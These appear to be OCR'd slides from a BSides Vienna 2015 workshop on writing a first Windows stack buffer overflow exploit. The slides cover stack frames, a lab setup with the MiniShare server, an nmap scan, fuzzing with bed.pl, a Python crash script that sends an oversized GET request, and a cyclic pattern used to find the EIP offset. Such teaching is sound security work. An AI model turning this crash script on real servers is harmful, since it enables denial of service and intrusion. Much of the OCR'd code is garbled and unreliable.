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* Memory & stack basics, function
calling

* Prepare LAB infrastructure
* Write your first windows exploit
* Exploit mitigation + bypassing
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Memory basics

* Code segment:
* Data segment:
* Heap:
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OxFFF..... (Ending Address)
A Stack

SP 1T

> <}

Address Space

Data Segment

v PC —_—

tS
0x00....... (Starting Address) Text Segment

Instructions
Global, static variables
Dynamic memory (malloc/free)

Stack segment:

 ocal variables
~unction arguments/data

BSidesVienn
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Stack operations ol e
« Start: Highest memory address (=bottom of
stack), grows down in memory
* Access: Stack Pointer (E)SP (Points on top of
stack = lowest memory address)
 PUSH: Adds something on top of the stack
* POP: Removes one item (4 Bytes) from

stack into a register
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Stack operations

* PUSH
ESP = ESP — 1 x 4 Bytes

- POP
ESP = ESP + 1 x 4 Bytes

4 Byte (register width — 32bit)

FH | JOANNEUM
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e,
—
PUSH
PUSH
ESP =ESP-3 PUSH
 —

S—

ESP = ESP +2
—>

T POP

ESP POP

é
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Function/Subroutine call

* A stack frame is created
* Parameters of parent function are stored
* Parameters to pass to the function are stored

 EBP — Base or frame pointer = current base of
the function

* ESP — Stack pointer = current location of the
stack
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Function call - details

void fjlinc_1 (char *Buf) {
int MyLocalVarfi;
char MyLocalVar2[50];

....DATADATADATDATA...

strcpy (MyLocalVar2,Buf) ;
} u

int m%in (int argc, char **argv) ({
func_1(argv[1]).

-V

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
BSidesVienna 0x7DF
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Higher Address

Function call - details
Calling func_1(): p | S—

- A new stack frame is
created

- ESP points to top of
the stack

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 9
BSidesVienna 0x7DF
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Higher Address

Function call - details
Calling func_1(): ESp

B e
I
I
ESP —
- Function arguments are

pushed to the stack (ptr_argv[1])
- Current EIP is pushed to the stack = Saved EIP
- Jump to function code

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 10
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Function call - details HigherAddress

¢
C

Calling func_1():

ESP ——

- Execution of function prologue:

- Save EBP onto the stack (PUSH EBP)
- MOV EBP, ESP

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ https://msdn.microsoft.com/en-us/library/tawsa7cb.aspx 11
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Function call - details Hiheraddress

Stack

Calling func_1():

ARGV[1]

| Saved EIP

- 4 Byte for (int) MyLocalVarlis s
allocated on the stack T

- ESP=ESP-4

- 50 Bytes for (char) MyLocalVar2 is
allocated on the stack

- ESP =ESP -50 ESP —

|
v
——

MyLocalVar2

[
|
|
[
|
|
[
|
v

BSidesVienna
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Function call - details HigherAddress

Stack

strcpy(MyLocalVar2,Buf) ;
ARGV[1]

Saved EIP
Saved EBP

 MylocalVarl

Copies bytes until it reaches
a string termination byte
(\XOO) MyLocalVar2

ESP —

es

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

BSidesVienna 0x7DF
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Function call - details Higher Address
strcpy (MyLocalVar?2,Buf) ; Stack

ARGV([1]

. . Saved EIP
- First: strcpy overwrites
Saved EBP

|V|yL0ca|Var1 | MyLocalVarl

MyLocalVar2

ESP —

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 14
BSidesVienna 0x7DF
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Function call - details HigherAddress

strcpy (MyLocalVar2,Buf) ; Stack

ARGV[1]

. Saved EIP
- strcpy overwrites Saved EBP

SavedEBP, SavedElIP,.. S ylocalvarl

MyLocalVar2

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 15
BSidesVienna 0x7DF
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Function call - details  HigherAddress
After strcpy() My Code -

3.) ESP——

. _ _ 1.) ESP
Function epilogue is executed ,, RETff
|

1.) ESP is relocated to the
location where EIP is stored

2.) RET (=Jump to savedEIP)

=>» Exploit structure
[LocalVar2][LocalVarl][savedEBP][savedEIP][,,My code”]
=» ESP points to ,,My code” after RET -
=>» We need to overwrite EIP

Mg aivarl

MyLocalVar2

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 16
BSidesVienna Ox7DF
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Prepare LAB infrastructure
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Used tools and programs

+ OllyDbg
— http://www.ollydbg.de/download.htm

* Minishare WEB-Server
— http://sourceforge.net/projects/minishare/files/MiniShare

* Immunity Debugger
— http://debugger.immunityinc.com/

— https://github.com/corelan/mona

BSidesVienna 0x7DF
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Prepare LAB environment
e Start MiniShare
* Unblock MiniShare in Windows Firewall

%2 Windows Security Alert [z|

some features of this program.

"‘D.-‘ To help protect pour computer. Windows Firewall has blocked

Do you want to keep blocking this program?
“ Mame:  minighare
Publizher: Unknown

K.eep Blocking ] [ Unblock, ] [ Azk Me Later

“Windows Firewall has blocked thiz program from accepting connections fram the
Internet or a network. [F pou recognize the program or truzt the publisher, pou can
unblock it. “When should | unblock a progranm?

BSidesVienna 0x7DF
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Prepare LAB environment
Drag & Drop putty.exe into MiniShare

Hen | o _1'11 I
MiniShare 1.4.1 =3
§ Full Path Shared Path

ChDocuments and Skt Jputty.exe

Minishare

BSidesVienna 0x7DF
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Prepare LAB environment
* Access your MiniShare Server from KALI

MiniShare = lceweasel 0 'E' 0

/| MiniShare E IR

€ 192.168.17.137 ¥ C |\ 5Bearch b

5] Most Visited ¥ mOFFensi'ure Security I%,KEIU Linux "ﬁ,KaLi Docs I%,KEIU Tools !!Exp[ait-DB

You have reached my MiniShare server

Here's the list of my shared files:

MimiSheare | 4.0 af 1921681 7.1 37 pord 80,

* Setup completed...

BSidesVienna 0x7DF
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Prepare LAB environment

Enable SSH-Daemon: /etc/init.d/sshd start
Connect via PUTTY from WIN-XP

# root@rudi: ~

login as: root
root@10.0.0.2'3 password:

The programs included with the Hali GNU/Linux sSystewm are free software:
the exact distribution terms for each program are descriked in the
indiwvidual filez in Jusr/share/doc/*/copyright.

Eali GNU/Linux cowes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon MNowv 2 12:30:47 2015 from 10.55.200.173

rootfrudi:~# I

grep Root /etc/ssh/sshd_config
PermitRootLogin without-password
- yes

BSidesVienna 0x7DF
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Writing your first windows

exploit in less than one hour

59:59 left...
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Start Minishare

Fapietkorb BSE Crgkiles = hMallSeRE
N

MiniShare 1.4.1

el Filename Full Path Shared Path
ﬂ YWinamp.Ink, Ci\Dokurmente und Eins. .. MWinamp.nk,

%)

Winarmg

Wireshark, TFTF Server Standalone

‘4 Start @& Minishare_1.4.1 MiniShare 1.4.1

To direct input to this virtual machine. press Ctr._ |y [ T8 =¥ m [ i m WAL G o2

BSidesVienna 0x7DF
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Do a port scan

root@kali:~# nmap -n 10.52.200.24 -sV

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-09 11:03 EDT
Nmap scan report for 10.52.200.24

Host is up (0.00029s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http MiniShare http interface

MAC Address: 00:0C:29:8B:12:35 (VMware)

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds

BSidesVienna 0x7DF
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Try to crash Minishare

TN TR JESERNOE ¢ W TRy e Mt SRR T W IS

::E
Fapierkorb A5E Crgfiles '*'ff.‘nr'-ﬂ all=EEdEr faministrator
N
MiniShare 1.4.1
Filéname Full Path | Shared Path
.’T"_| Winamp.Ink Ci\Dokumente und Eins... MWinamp.dnk

%)

Wy CTE

Wireshark TETP Server Standalane

I.r; Start & Minishare_1.4.1 Minishare 1.4.1

To direct inpLt to this virtual machine, press Ctr.. |y T =00l @ [ @l ol UL G 4=

BSidesVienna 0x7DF
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 Start Minishare server

* Start OllyDbg / Immunity Debugger

* Start Wireshark @KALI, Filter: http

Capturing from ethO

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Halp

[€] File. View Optians Help - ax
(e x] wu] s+ 0]« + ufe[mr|wacl/|&[B|R].|s] = . : :
E_RE isters (FPU) @' @ 7 {!| E ..:_' T : % 0 q A .J ; ! . Q @\ @,.

_  EEm
Full Path Shared Path
Ci\Dokumente und Eins... {Winamp.ink Filter: {http‘ v |Expressionm Clear

No. Time Source Destination Protocol Length

TFTP 5

OlDbg v1.10

BT
+a Start & Minishare_1.4.1

BSidesVienna 0x7DF
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Attach Olly to minishare
File/Attach

J _l _l .Jﬁljjﬁlm;ﬂﬁl_@lﬁ@ 2]

eps (FPU)
Select process to attach IU |L|

Process | Hame Window Path

aaBaazE2| ala Ce=WIMDOWS~System3z2alg. ene

BEBEEZEE] csres S Cr W INDOWS sy stend2 osres. ele
HEEEESLE| Evp lorer | Startmen® =WINDOWS-Exp lorer. EXE

HEEEEFE| hMal lSer wProgramme~hMal lServer-Bin~hMal [Seruw
BRBEEEZE| jgs twProgrammesJavas jretsbin™jgs. ele
HEEEEEHS ] Jysohme :wProgramme~Geme insame Date ien~Javad
Ralsls] Flsass WIHOOWS sy stem32™ lsass.eHe

] HEd minishari MiniShare 1.4.1 ~ProgranmesMiniSharesninishare. ede
HEE MEMSES DOE Serwer Win wProgrammesMessenger-msmsas. eHe
BEEEEZS =0 =WIMHDOWS sy stemB2~sery ioes. eHe
BE0EELFS ) sMss SustemBoot~Systen32omss. e

HEEEEEES | spoa e SWIMDOWS~system32~spoolsu. ete
GaEEElz2s) sqlbrows ~Programme~Microsoft SGHL Serwer-9@E~5
HEEEEEES | sqlserar ~Programme~Microsoft SHL Serwer-MESQ
AREEE35Y | swchost WIHDONS ~sy stem32~suchost. ene
BEEGEZAS) swchost fWINDOWS sy stem32~suchost . ene
aEEaEad41s) swchost fWIHDOWNS Sy stem32~suchost.ene
Booaa4ne) suchost

BEOEEEES ] swchost

gnnnnn

WINDOWS sy stem32~suchost. ene
sSWINDOWS sustem32~suchost. ene s

s
\-.—)

CHC0 O S 0

[ OlyDbg 110

———

‘s Start & Minishare 1,4.1

To direct input to this vitual machine, press Cir=3.

BSidesVienna 0x7DF
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OllyDbg - minishare.exe - [CPU - thread 000009EC, module ntdll]
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File '-.-'m Flugins Options  Window Help
REAN i +f] ¥4 ] » LE[M|T|W[H|c|/[K[B[R]..|5]

1
ToA1123z2
rCot 1234
rC3l1235
Al 1236
rCollzar
rCall23s
rCa11239
FCR1123R
TCA1123R
211230
rC91123E
31 123F
rCIll248
rCol1z241
rCal1242
FLR11z43
TC911247

L]
SEd4dz24 B4
CC

P
EDI,EDI
P

HOP
MOV EAx, DWORD FTR S5: [ESF+41]
IMTZ

TRegisters (FPUY

=]

TEFOFEEE
BEARAREZ
BRAERRED
GEEEESE]
H115FFCC
B11EFFF4
GEEEEEEDS
BEEEEEES

Return to

FCOSETAS (ntdll.

TLOcETHS)

Addreszs ||
[EEELF GG
BESE 1 BEE
BEE1E1E
HEILIELE
BEIS 1626
BESE1R2E
BEE 1820
BEIs 1632
BE2E1E4E
BESG 1 E4E
HE261R5A
BEIEIEEE
BEI&1REE

BESEIREE] &

BRIC1ETE
BEIC1ETS
BE9E 126
BEIC1EZS
BEIG1E00

e ot s Bk ks ok ok
Mmmmmmmm

RTRT R TR e Ly

oOoO—HWrTmo
0 S (5 ) 5

FLE11231 ndll.FOS11251
3Zbit BiFFFFFFFF)
ZZhit BiFFFFEFFF)
3Zhit B FFFFFFFF)
3Zhit BiFFFFFFFF)
Z5hit PFFOCOBEFFF)
MULL

LastEry ERROR_SUCCESS (G086
EFL @86B0246 (MO, HE.E.BE, NS, PE.G
—LIH[IRH

NEAC _SRAEZEFE &

I
B11EFFOE| DREEEAEE
G115FFO4| DREEEAGES
B115FFDS) OEEEEEE ]
B11EFFDC| B11EFFDA
B115FFES| S1F&Fagg
B115FFE4| FEFFEFFF
BL1EFFES| 7CP1EELR
B11EFFEC| YL96E7CE
B11SFFFE| DEEEEAEE
B11E5FFF4| DREEEAGEEA
B115FFFS| DEEEEEEE
B11E5FFFC| PEEDEEEE

RETURH to: it .

End of SEH ch
SE handlex
ntdl | FCIEETE

Thiead D00O03EC teminated, exit code 0

‘4 Start

W Minishare_1.4.1

To ditect input to this vitual machine, press Ciil+G.

sbyg - minishare. ..,

e

Mirishare 1,4.1

UEIENTEY)  vmware

1 e =
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Using a HTTP fuzzer to trigger t

B

BED 0.5 by mim ( wwWww.codito.de

U=age:
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he crash

—

Lo B | S|

)} & eric | www.snake-basket.de )

SJbed.pl -= <plugin®> -t <target®> -p <port> -0 <timeout> [ depend=s on the plugin

]

<plugin> =

<target> = Host to check
<port> = Port to commect tao
<timeout> =

default:

zecond=s to wait after each test

FTR/SMTP/ FDRC.-"'II-!'AP.."' PJL/LPD/FINGER/SOCKS4,/50CKSS

localhost)
(default: standard port)

(default: 2 seconds)

use ",./bed.pl -= <plugin>” to obtain the parameters you need for the plugin.

Cnly —= iz a mandatory switch.

rooti@bt: fpencest,/fTuzzers/bed# l

m

9

BSidesVienna 0x7DF

KALI-2: /usr/bin/bed
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Start fuzzing = using bed

= —_—
T JII B T T o o P
T ht: = - = -1 B
B4 FOO t@, il il S DAL T S TR R

root@Ebt: fpentest/fuzzers/bed$ ./bed.pl -= HTITP -t 10.0.0.11 —-p 80

BED 0.5 by mjm { www.codito.de ) & eric { www.snake-basket.de )

+ Buffer overflow testing:
testing: 1 HEAD X¥XnxXAaX HITP/1.0
root@Ebt: /fpentest/fuzzers/bed# l

BSidesVienna 0x7DF
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= =3

Window Help = |

TS| ﬁﬂﬁjjﬁ@liﬂﬁlﬁuﬁﬁ@

7T CREFZE

14i4141
@12439Ag =T=taleatalal =lalalel
G124EESG

£ S2Zbit ABLFEFFFFFFF)
F 22bi+t B{FFFFFFEF)
A 2Zbit @(FFFFFFFF}
Z 2251t BIFFFFFFFF}
g S2bit FRFOCOGE]FFF)
T HULL

ERROF_SUCCESS (@805
EFL ‘@E@igzis (MO, ME,HE.A, M5, FE.G
= ???F‘??dqnﬂqdﬁ?dﬁﬂqap

A 2EE |
BHEIE 1 EEE
HEIE 1B
BEecialn
BEaciEls
BEf518:28
BESE182S
aass183a8
BEIE 1622
BE2c1 a4
BE9ciE4E
BE9c1850
BE9ciEs:s
aa3518e8
BESE 1853
aass1ara
BEIC1ETE
BE9c 15268
BEIC 1838 6E
BB?EIB?E

242900
243918
343314
3433215
S4231C
242920
243924
243922
42920
243236
3433354
2439325
2423930C
243948
243944
243943
34394C
343956
343354

E T et

Shift+F7/FBAF3 to pass exception to program | Paused

big - mini. ., Mirishare 1.4.1 o Capburing Fro,,

RO R eV  vmware

b B e bt bt e e e ok e e ke ok et e

R L L L S L S S
o e b bt e e e e e e e e e e

b 50 50 D R0 R0 VR R R S D VR R R R )

e st b b e e e e b e e e e e e e

S SN R L L S TR S R
R e e el o oy T o o ) S P o
B L o e
A L Py =
e b o S L L o e o L R o

(o4}
AEREar ey sy nE sty

BSidesVienna 0x7DF
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Loqkforthe

G AR

4 ¥Mware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) - Wireshark E]E|
Edit

= ol & 8

Filter: I kcp. port==80

File

Source

1.
1.

1.
10.
10.

10.
10.
10.
1.
1.
B [

»Cla

Wiews Go  Capture  Analyze

Skakistics

s e

T

Telephony  Tools  Help

BEEXEe AesaT (BB QA # -

FH |JOANNEUM
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sh’_‘ _p_a_c_:ket

T R e

|"’ Expression... Clear Apply

0
¥
10, 0.
0
0
o]

e e e

B

b e e el e
b s

Wl
l&
il
il
Wl
Lol
=l
il
b,
ks,
Wl
il
il |

Destination

L
L
e
e
e
ST
Foihy
L
L
e
L
L
T

o M e e B o o T e
o N o N B - B 0 B

D00 oo D

Do oD D

il 5
=L
Sh el
Sh el
SE el
SAl=T
e (5
Sk o
il
il
il 5
w5
B B o

Protocal

TER
TER

Info s

http > 33536 [SvN, ACK] Seq=0 aAck=1l win-
335326 > http [Aack] seg=1 aAck=1 win=14&5¢

<EP:

Frer—=eomeme—at_a reassembled PDU]

HEAD WMM
33536 - hitofFPM, ACK] Seq=2066 Ack=1

TCR
TCP
TCR
TCR
TCR
TCR
TCR
HTTPF

33421 > http [svW] Seq=0 win=14600 Len=(
http = 33431 [SvM, ack] Segq=0 ack=1 win
ttp > 33536 [AcCk] Seqg=l Ack=2067 wWin=5!
33421 > http [ACK] Seq=1 Ack=1l win=1465¢
33421 > hrttp [FIN, Ack] Seq=1l ack=1l win:
http = 33421 [Aack] seg=1 Ack=2 wWin=6553%-
[TCP segment of a reassembled rDU] =
HTTRA .1 503 Serwvice unavailakhle ftext, ™
»

Qoo0
0010
Qo200
QO30
0040

00 0c
00 40
00 10
o

08

20 5d 82 7o
le 23 40 00
Qo 50 82 8d
S de 00 0O
oo

o0 0o oo

oo
20
29
02
oo

o
05
2d
!

29 72 Bl 5cC
CH Fa 0a a0
14 57 39 33
0% khd 01 03
o0 01 ol

05
oo
G3
03
04

QAT 00 wuilindes T b |

Oh 0a o0 LELHEL L. LZo L.
a3 bho 12 B R R 1= S
L o A T L

e o e R o

‘4 Start

BSidesVienna 0x7DF

@ Minishare_1.4,1

o direct input to thizs vitual machine, press Gid+G.

| Packets:

CillyEbig - rniniy

903 Displaved: 124 Marked: ...

Minishare 1.4.1
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Look for the ,,crash” packet

1" ¥Mware Accelerated AMD PCNet Adapter {Microsoft's Packet Scheduler) - Wireshark E]E|E|
File Edit Wiew Go Capture Analyze Statistics  Telephony  Tools  Help

Beee BEEXEE Ae+»aT L (BE aQaaaB®| @

Filter: Etcp.p-:urt==8‘rtl |"’ Expression... Clear apply

S-:uurn:e : Drestination Erntncnl_ i
10, 0. D 1l 10,
2 RS O O ) 10,
i B e B 10,
i R o 1.
do.0.0.16 10,
i e e B 10,
i G R S 1.
2 S O S 10,
i B e B 10,
i S R 0 1.
2 S O S 10,
i B JOEE JE f S 10,

1{] B —— SESEN Colorize Conversation

BT R e e T e e A

TCR http :> 33536 [S‘."N, ACk] SEq 0 Ack =1 win-=
TR 33536 > http [ack] sSeg=1 ack=1 win=146&5¢
TER [TCP segmeht of a reassembled PDU]

L i o B
e I o B

Mark Packet (toggle) ttp - ACK] Seq=2066 Ack=1 v
Ignore Packet (toggle) http [S¥N] Seq=0 wWin=14600 Len=(
Set Tirme Reference (koggle) 33421 [5vN, ACK] Seq=0 Ack=1 win-
33536 [Ack] Seq=1 Ack=2067 win=6:
Manuallf_Resu:ulve Address 1 http [ack] Seq=1 aAck=1 wWin= 1465'5
apply as Filksr http [FIN, Ack] Seg=1 Ack=1 win-
Branars a Fiss 33421 [Ack] Seq=1 Ack=2 Win=6553%
gment of a reassembled rPDU]

[T 503 Seruvice ubasvratlakle

Conwversation Filker

Do DD oD D 0 DR
DD D0 D 00D

SR L L Y A YA A A

Follow TEP Stream

!CIDCICI Qo 0c 29 72 81 5< 00
(0010 02 S5d 30 00 40 00 40
0020 00 Ob B3 Q0 00 50 39

L™= ™ Latal - C - - ad L] Ll L}

F 633 byt Reassembled TCP (205
rame kel | (208 Decode As...

— Prink. ..
] =
e atart @ [Minishare_1.4.1 Show Packet in Mew Window

Tﬂ direct input to this virtual machine, press Cid+G.

BSidesVienna 0x7DF
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Look for the ,,crash” packet

IT & Mobile Security

"“! Follow TCP Stream

~Skream Content

A HTTR/1. Q|

[Ein-:l ] [Save A= ] [Erint ”Entire conversation (2065 bytes)

B Minishare_1.4.1 | Sillvbbg— miniy. Minishare 1.4.1

Tn direct input to this virtual machine, press Cid+3.

BSidesVienna 0x7DF
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Copy data

IT & Mobile Security

"“! Follow TCP Stream

~Skream Conkenk

A HTTRA1. 04

[Eiru:l ] [Save As ] [Erint ”Entire comversation (2065 bwkes)

| @ Minishare_1.4.1 | cillvDbg - rrini. ..
T-ﬂ direct input to thiz virtual machine, press CtA+3.

BSidesVienna 0x7DF
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Save to file 2 Kali

LF roct@bt: ~/minishare _ -

IT & Mobile Security

Hbed_packet  (
H:?::?h::wﬁﬁ;:;shara# cat bed packet
llzEaD
|

e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e o e e e e e s N

WE
AARARARAAAARAAAARAAAAAAAAAAAAAAAAARAAARAAARAARPMAARARMAARRAAD HTTE/1.0 |5
rootEbti~/minishare# l -

e

BSidesVienna 0x7DF
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Try to crash with our own script

ﬂ.}usr{bin}pythnn
import errno

import oS

from os import SLCrerrgr
from socket import *
import sSvs

from time Import sSleep
from struact import pack

len{sys.arTgv) o
ge: python %= ™ % sys.argv[0]
python %5 1892.1ig8.1.2 80™ % sy=s.arxgv[O]

51\-’5 aI“';l"-"l"]
int {sys.argv2])

Preparing evil string.

* 2000

T[+]Comnnecting with server...™

5 = gocket (AF INET,S0CEK STREAM)
s.conmect ( (ip,poxrt) )
r[+]1Connected. ..™
sleep (1)
print "[+]1Send evil data...™
z.gend ("GET "+4buf+™ HITEP 1/1 SxhnhZwr\n™)
sleep (2)
s.close ()
print "[+]levil data sent™

Error in connection with server: Is"™

BSidesVienna 0x7DF
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Try to crash with our own script

BSides Vienna 2015

# root@rondi: - BEIZTS M=1E3
LS

roctlroodis~/BIIDEZ# python exploit template.py 122.165.247.140 S0

[+] : i i -

GET AABARAAAARAR AN LA AR DADDANDARREDD
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
B N N
AbAAL HTTRS1.0

[+] Connecting with sServer...
[+] Connected. ..

[+] 3end evil data...

[+]evil data sSent

rootfiroodii~/EBESIDESH I W
_— ]

BSidesVienna 0x7DF
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EIP is overwritten by 41414141
Try to find the exact location

IT & Mobile Security

- File  Wiew Debug  Plugins Options  Window Help e

'Remtit&r-% {-FF'UJ'

EEEBEEEEE
TTYCBEFZE ms

OllyDbg - minishare.exe - [CPU - thread 000DOF58] = |I[=]3]
x

rEARRRERGRARA

S2Zbit
32b itk

B1FFEFFEFF)

ZEhit @
]
7

FFEFFFFF]
Z2E it
2Zh it
HULL

ERROFR_SUCCESS (BE05

[
[
L
L
F

FODCEEa{ FFF)

"

(k]

HAddress |
[ElE=T=R A= TaTE]
BEEE L B
agasialo
aEasiEals
[ e L N e o

BE2G 1 A48
o e
Qo i asn
aEacs i ass
aE351 aGE
BESE I RGE
Qoo 1a7E
BEIC 1O72
aE9c i asE
BE2GS 1 02E
2E2s 1038

0 50 0 5 O (R 5 (0 0 e ) 5
A e e o o et )
o b et ot e e et e et e e e e e e
R R Cp o S e

(

BSidesVienna 0x7DF
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Create a unique string to find the exact
p05|_t|on of_ E__IP

EﬁcTﬁcBACEEdGEdlAdEAdEAdéﬁdEAdEAd?AdBAdBAeOEelAEEAE3Ae4Ae5Ae6AeTAeBAEQAfGAf1Af2A
FEAf4nf oA feAf TRATEATORAgqlAgliAgl igihgdhgohgblg T gl g nOln I AN 2 N30 ng4 i n iR nTARELANRG
AIORI TR 2RI 3R IR SRR TRAI BRI QR 0A IR 2R 3R 4R SR jeATAJEA 9 AKDAKI A AKIAKAAKSAK
ERKTAKEAKSRIORIIRIZ2RAI3RI4RISAI AR TAISR] 98mOAm] A2 Am3Amd AmSimaAm T AMSAmAAnOAn I An 2R
n3AndAnSAneAnTAnEAn 9o 0R0l Ao Ao3Rod4RoShobho TAOEROSADOAD I A2 AR IAndR L o AnDEAD TARDERADS
LogOhgliqhg3bgidigobge g TAgEAgLr ORI Ay 2o r 30 Y4Rr SAT AT TATEAYSA=0A=sI A2 i=s30A=40 00
EhsThs 8ot ORI AL 2 At 3R LAt SACER L TALBALOAuOAul AuZiuIiudiuSiueiuTiuginanivOivifvin
vILvAL v LA e LT T AT ER T ALY OAW AW AW S AW AW S AW e AW T AW E AW OAROAR T AR I A IA AR AR EAR TAREA RS
BoyOhyl By By 3l yd by S hyb hy TRy Bl vAR e ORI Re2 w34l ez ShzolizTAzEAz098a0BaiBa2Ba3iBad4BasBa
6BaTBaBEBatELOELIEL2ELIEL4EL SEL6EL TELEELOECOECIECc2EcIBcd4BcSBEc6EcTECEECOEAdOEdIEd2E
d3Bd4EBdoEdeBdTEAEEd9Ee0Ee1Be2Be3Be4Be oBetBeTEBeBBe OB 0B IB 2B 3B L4BLSBEABETEEBEBES
BEg0BglBEglBEg3bgdbgobgb6bBgTEgibgabhiBhl1Bh2Eh3Bh4BhoBh6Bh TBhEBhSBi0Bi1Bi2Bi3Bi4BiSB1
6BiTBIiBBISEj0BI16j26Bi36Bi4BiSBi6Bi7EBiBEi9Bk0Bk1EBEkZ2EE3BE4BESBEK6ELKTELSEKAEB10B11E12E
13E14E15E16E1TE18EB19EmO0EBm] BEmZ Em3BmdBmoBmeEBmTEnEEBmYBn0EBni1Bn2En3BndBncEnéBn7ENnEENnY
Bol0BolBoZBo3BodBoSBoeBa TBoRBoSBpOEBp 1 B2 Bn 3Bp4Bp sBp 6B TEBDREpSBglBgl1Bg2Bg3Bg4BgsbBg
EEQTEQEEgOBr0BriEr2Er3Br4ErtEr6éBr7BrEErSEs0BeiBe2Es3BEs4EeSEs6EBs TESRESSBLOBLIEL2ZE
3Bt 4Bt SBtABt 7Bt BBt SBulBulBu2BuiBudBulSBucBu’BulBulBvOoEvi1Bv2Bv3IBviaBvSEvaeBv TBvEEBva
BwlBWlBW2EBW3IBWABWSBWEBW TBWwEBwWOBxOEx1Bx?Bx3BxXx4BxCBx6BxTEBxEx OBy OByI1By 2By 3Byv4BySBy
6By TEByBEBySE=0B=z1B=z2B=z3Bz4B=5B=z6BzTEBz8Bz09CalCalCalCa3Cad4CasCabCaTCalCadChbiChblChH2C
E3CE4ChE SCheCh TChEChOCcOCclCe2Ce3Cod4Ce S CoeCeTCoECcaCdoCdilCd2Cd3CdaCdsCdeCAdTCdeCcds
CelfCelilCe2Ce3CedCesCealeTCeBCe8CEf0CEICE2CE3CE4CESCIaCETCEBCESCog0CgliCgl2Cog3Cg4CagSCy
eCgTCgBCgeChOChiICh2Ch3Ch4ChoCheChTChEChICIi0OCiiCiZCi3Ci4CisCieCiTCigCiacjocjicjzc
j3Cj&Cj5Cj6CjTCj3Cj9Ck0Ck1CkECESCE&CEECkﬁCkTCk“CkBClDCl1ClEClECl&ClEClEClTClEClEl
CmﬂleCmECmECmﬂCmECmECmTCmquECnDCnlCnECn3Cn4Cn5CnECnTCnBCnECDDCDICDECDECD&CDECDI“
root@bt: /pentest/exploitef/framework3/tonlaf I [_

*

KALI-2: /usr/share/metasploit-framework/tools/pattern_create.rb

BSidesVienna 0x7DF
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Use the unique string in our exploit script

BSidesVienna 0x7DF

E! fasc/bin/python
import errno
import oS

from os import StTLETDTOT
from socket import *
import SwvsE

from tims Import slesep
from struct Import pack

en{sy=s..argw) 1= 3:

T [—1Usage: python = ™ % sys.axgv[O]

T—1Examplie: python %= 192 .3i§8.1.2 80™ % =sys.arxgw[O]
sSys.exit (0)

sys.arxrgwl[i]
ci{sys.argv[2])

rint ™ [+4+] Preparing evil Sstrimg...”

whAAT * OO0

ACcSAcHRACTACERACOARdOAdIAd2Ad3Rd4RdSRdeAdTRAAdEAAdSRelhel el hec3hecdheShcthe TAeEhe3RATOLT
1A AT 3AT4AfSAT6Af TATSATOAgOAGIAG2Ag3AgaAgSAgEAgTAGEAGOANOANRIANZANIAN4ANSARGARTA
ANORIORAiiIAI2Ai3Ri 4RI SAiGRITRAIBRAIOAFOAFIAI 2RSS 3R 4RI SAI6A I TAIBAIORAKOAKIAKZAKIRIKS
AESAKGAKTAKEAKSARAI ORI IAIZAIZAISGARAISAIGAITAIEARAI SAMOAMI AmZ Am3AmERmSAmMGAmM T AMEAMSAnDOAD
I A An 3 AndAnSAneAn TAnEAnORAolRAol Ao 2 o2 hodho SRS Rho TRAOBRoSADOADI Ap 2 A3 A4 SADEAD TR
DEADOAgORAgI A2 Ag3Agd g SAge g TAgEAgInrOArI Ax2ArIArdnarSATeAr TAXBAYOAs0AsI As2As3AsS
AsShstohs TAsSEASS Rt OAC I At 2 AL AL 4R L SR LA TACEACLSBEuOAuIl Audhu3dbudiuSiunaiu Tan 8RS Rwiiar
1AW AwIAvAR v SAVEAVTRAVERAVIERAW AW I AWZ AW IAWARAW SAWEAW TAWERAW SR x0TI A A IR A4 SANERX TR
XEAXOAVORAVIAYVZ2AVIAVAR v SAVER Y TAYELRvIAz0ORAI A2 Rhz3Rz4bhsSAs6ReTRA=ERz098Bal0BalBazBa3Bad
BaSBatBaTBEafBaSBhb 0B iBbZ2EBEL E2Eb4EBb SBL 6B 7TELbEBEL S EcOBCciIBc2EBc3Bocd4BocSEBcHBcTBc8BcoBdOEBd
1BdI2BEd2EBd4Bd5SBdeBAdTE BdoBelBelBeZBe2Bed4BeSBecEBe TEBEe BB BT OBLfIiBf2Bf2Bf4BLfSBE6EBLTE
8BfSBgU0EBglEg2Bg3Bgogi9BgSBgtEBEg TBEgfBgo9Bn0OEBn ho9Bi0BiiBizZBi3Bi4
BiSBioBiT7BiEfBig9BEij0BiIiBiIZ2EBEj32BEi4Bi 0B8] TEi BB SBkOBEIBEZBEk3IBEk4BkSEEEBETBEEEBESEIOBL
IBIZBI3BE1I4BISBI6BLTBEIEBI9EmOBmI B2 Em3BmdBmSEBEmEBmTEmEEm9BnOBnI Bn2EBEn3BndBnSBntEBnTH
nDEEn9BolBoiBo2Bo3BodBoSBosBo TBofBoSBpnlBniBn 2B 3Bpd4BnSBn6EBn TBp BB SBglBagl Bg2Bag3Bag3d

= 1 Es2Bs36Bs549Bs0EBs6Bs TEsS8EBs9BL0BL
SEButBu TBuSBuSBvOBvwiEBv2BvIBvaABvSBveBvwTEB
"ngawoaw Bw2 Bw38w48w58w6?w78w“ BWQB = _18 =IBxZ2Ex3BEx4ExSBx6ExXx TExEBxX9BvOBy1IByv2By3IByvya
